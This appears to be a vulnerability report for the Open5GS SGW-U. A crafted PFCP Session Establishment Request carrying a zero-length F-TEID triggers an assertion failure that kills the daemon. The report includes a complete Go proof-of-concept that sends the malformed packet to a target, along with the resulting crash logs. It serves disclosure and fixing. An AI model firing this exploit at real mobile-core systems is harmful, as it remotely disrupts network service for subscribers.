| Mô tả | ### Description
When SGWU parses a PFCP Session Establishment Request whose CreatePDR/PDI includes an F-TEID IE with length 0, the code reaches ogs_pfcp_handle_create_pdr() (lib/pfcp/handler.c:539) and trips the assertion pdr->f_teid.ipv4 || pdr->f_teid.ipv6, bringing the SGWU daemon down. A malformed control-plane peer can therefore kill SGWU remotely.
### Steps to reproduce
1. Start a new go project inside a new folder: go mod init poc
2. Create a main.go and paste the code below:
```
package main
import (
"encoding/hex"
"errors"
"flag"
"fmt"
"log"
"math/rand"
"net"
"strings"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
defaultPFCPPort = 8805
readTimeout = 2 * time.Second
)
type fteidClient struct {
nodeIP net.IP
seid uint64
seq uint32
}
func (c *fteidClient) nextSeq() uint32 {
c.seq++
if c.seq == 0 || c.seq > 0x00ffffff {
c.seq = 1
}
return c.seq
}
func resolveTarget(target string) (string, error) {
if strings.Contains(target, ":") {
return target, nil
}
return fmt.Sprintf("%s:%d", target, defaultPFCPPort), nil
}
func (c *fteidClient) mandatorySEReqIEs(dnn string) []*ie.IE {
return []*ie.IE{
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewFSEID(c.seid, c.nodeIP, nil),
ie.NewPDNType(ie.PDNTypeIPv4),
ie.NewNetworkInstance(dnn),
}
}
func (c *fteidClient) sendAssociation(conn *net.UDPConn) error {
req := message.NewAssociationSetupRequest(
c.nextSeq(),
ie.NewNodeID(c.nodeIP.String(), "", ""),
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewCPFunctionFeatures(0x3f),
)
payload, err := req.Marshal()
if err != nil {
return fmt.Errorf("marshal assoc: %w", err)
}
if _, err := conn.Write(payload); err != nil {
return fmt.Errorf("send assoc: %w", err)
}
return nil
}
func buildZeroLenFTEIDSession(c *fteidClient, dnn string) (*message.SessionEstablishmentRequest, error) {
malformedFteid := ie.New(ie.FTEID, []byte{})
if malformedFteid == nil {
return nil, errors.New("failed to craft zero-length F-TEID")
}
pdr := ie.NewCreatePDR(
ie.NewPDRID(1),
ie.NewPrecedence(200),
ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess),
ie.NewNetworkInstance(dnn),
malformedFteid,
),
ie.NewFARID(1),
)
far := ie.NewCreateFAR(
ie.NewFARID(1),
ie.NewApplyAction(0x02),
ie.NewForwardingParameters(ie.NewDestinationInterface(ie.DstInterfaceAccess)),
)
payload := append([]*ie.IE{}, c.mandatorySEReqIEs(dnn)...)
payload = append(payload, pdr, far)
return message.NewSessionEstablishmentRequest(0, 0, c.seid, c.nextSeq(), 0, payload...), nil
}
func main() {
var (
target = flag.String("target", "127.0.0.1:8805", "SGWU PFCP endpoint (host[:port])")
nodeIP = flag.String("node-ip", "10.0.0.1", "Local NodeID IPv4")
dnn = flag.String("dnn", "internet", "Network Instance / DNN")
dump = flag.Bool("dump", false, "Dump crafted PFCP bytes")
skipAssoc = flag.Bool("skip-assoc", false, "Skip PFCP Association setup")
)
flag.Parse()
localIP := net.ParseIP(*nodeIP)
if localIP == nil {
log.Fatalf("invalid node-ip: %s", *nodeIP)
}
resolvedTarget, err := resolveTarget(*target)
if err != nil {
log.Fatalf("resolve target: %v", err)
}
addr, err := net.ResolveUDPAddr("udp", resolvedTarget)
if err != nil {
log.Fatalf("resolve UDP addr: %v", err)
}
conn, err := net.DialUDP("udp", nil, addr)
if err != nil {
log.Fatalf("dial PFCP: %v", err)
}
defer conn.Close()
rand.Seed(time.Now().UnixNano())
c := &fteidClient{
nodeIP: localIP,
seid: uint64(rand.Uint32())<<32 | uint64(rand.Uint32()),
seq: uint32(rand.Intn(0x00ffffff)),
}
if !*skipAssoc {
if err := c.sendAssociation(conn); err != nil {
log.Printf("association setup failed (continuing anyway): %v", err)
} else {
log.Printf("sent AssociationSetupRequest to %s", resolvedTarget)
}
}
req, err := buildZeroLenFTEIDSession(c, *dnn)
if err != nil {
log.Fatalf("build zero-len F-TEID request: %v", err)
}
payload, err := req.Marshal()
if err != nil {
log.Fatalf("marshal zero-len F-TEID request: %v", err)
}
if *dump {
fmt.Printf("Zero-length F-TEID SessionEst (%d bytes):\n%s\n", len(payload), hex.Dump(payload))
}
if _, err := conn.Write(payload); err != nil {
log.Fatalf("send zero-len F-TEID request: %v", err)
}
log.Printf("[sgwu-zero-len-fteid] sent crash attempt to %s (F-SEID=0x%x)", resolvedTarget, c.seid)
_ = conn.SetReadDeadline(time.Now().Add(readTimeout))
buf := make([]byte, 2048)
if n, err := conn.Read(buf); err == nil {
fmt.Printf("received %d-byte response\n%s\n", n, hex.Dump(buf[:n]))
} else {
log.Printf("no response / timeout (expected if SGWU aborts on ogs_assert(f_teid.ipv4||ipv6)): %v", err)
}
}
```
3. Download required libraries: `go mod tidy`
4. Run the program with the upf pfcp server address: `go run ./main.go -target 10.44.44.3:8805 -node-ip 10.44.44.2 -dnn internet -dump`
### Logs
```shell
Open5GS daemon v2.7.5
11/26 17:12:20.698: [app] INFO: Configuration: '/etc/open5gs/custom/sgwu.yaml' (../lib/app/ogs-init.c:144)
11/26 17:12:20.698: [app] INFO: File Logging: '/var/log/open5gs/sgwu.log' (../lib/app/ogs-init.c:147)
11/26 17:12:20.881: [pfcp] INFO: pfcp_server() [10.44.44.3]:8805 (../lib/pfcp/path.c:30)
11/26 17:12:20.881: [gtp] INFO: gtp_server() [10.44.44.3]:2152 (../lib/gtp/path.c:30)
11/26 17:12:20.881: [app] INFO: SGW-U initialize...done (../src/sgwu/app.c:31)
11/26 17:12:22.601: [sgwu] INFO: PFCP associated [10.44.44.2]:8805 (../src/sgwu/pfcp-sm.c:163)
11/26 17:13:50.767: [sgwu] INFO: PFCP associated [10.44.44.2]:8805 [10.44.44.1]:42236 (../src/sgwu/pfcp-sm.c:163)
11/26 17:13:50.780: [core] WARNING: Unknown TLV type [22] (../lib/core/ogs-tlv-msg.c:672)
11/26 17:13:50.781: [sgwu] INFO: UE F-SEID[UP:0x2ca CP:0x3fcc70073bef6ce8] (../src/sgwu/context.c:170)
11/26 17:13:50.781: [sgwu] INFO: [Added] Number of SGWU-Sessions is now 1 (../src/sgwu/context.c:175)
11/26 17:13:50.781: [core] ERROR: Invalid FQDN encoding[j:0+len:105] + 1 > length[8] (../lib/proto/types.c:429)
0000: 696e7465 726e6574 internet
11/26 17:13:50.788: [pfcp] ERROR: Invalid pdi.network_instance (../lib/pfcp/handler.c:525)
11/26 17:13:50.788: [pfcp] FATAL: ogs_pfcp_handle_create_pdr: Assertion `pdr->f_teid.ipv4 || pdr->f_teid.ipv6' failed. (../lib/pfcp/handler.c:539)
11/26 17:13:50.804: [core] FATAL: backtrace() returned 11 addresses (../lib/core/ogs-abort.c:37)
/usr/local/lib/libogspfcp.so.2(ogs_pfcp_handle_create_pdr+0xd28) [0x7ff8432b513e]
open5gs-sgwud(+0xf12d) [0x55675724012d]
open5gs-sgwud(+0xd54a) [0x55675723e54a]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7ff8431cf374]
open5gs-sgwud(+0xe290) [0x55675723f290]
/usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7ff8431cf374]
open5gs-sgwud(+0x605d) [0x55675723705d]
/usr/local/lib/libogscore.so.2(+0x119a3) [0x7ff8431bf9a3]
/lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7ff842ff4ac3]
/lib/x86_64-linux-gnu/libc.so.6(+0x1268c0) [0x7ff8430868c0]
/usr/local/bin/entrypoint.sh: line 7: 7 Aborted (core dumped) open5gs-sgwud "${@}"
```
### Expected behaviour
SGWU should detect that the F-TEID IE is malformed (length 0, missing IPv4/IPv6 flag) and respond with CAUSE=MANDATORY_IE_INCORRECT or similar, without exiting.
### Observed Behaviour
The parser copies the zero-length IE, the pdr->f_teid_len stays 0, and the subsequent assertion pdr->f_teid.ipv4 || pdr->f_teid.ipv6 fails, terminating the SGWU process.
### eNodeB/gNodeB
No
### UE Models and versions
No |
|---|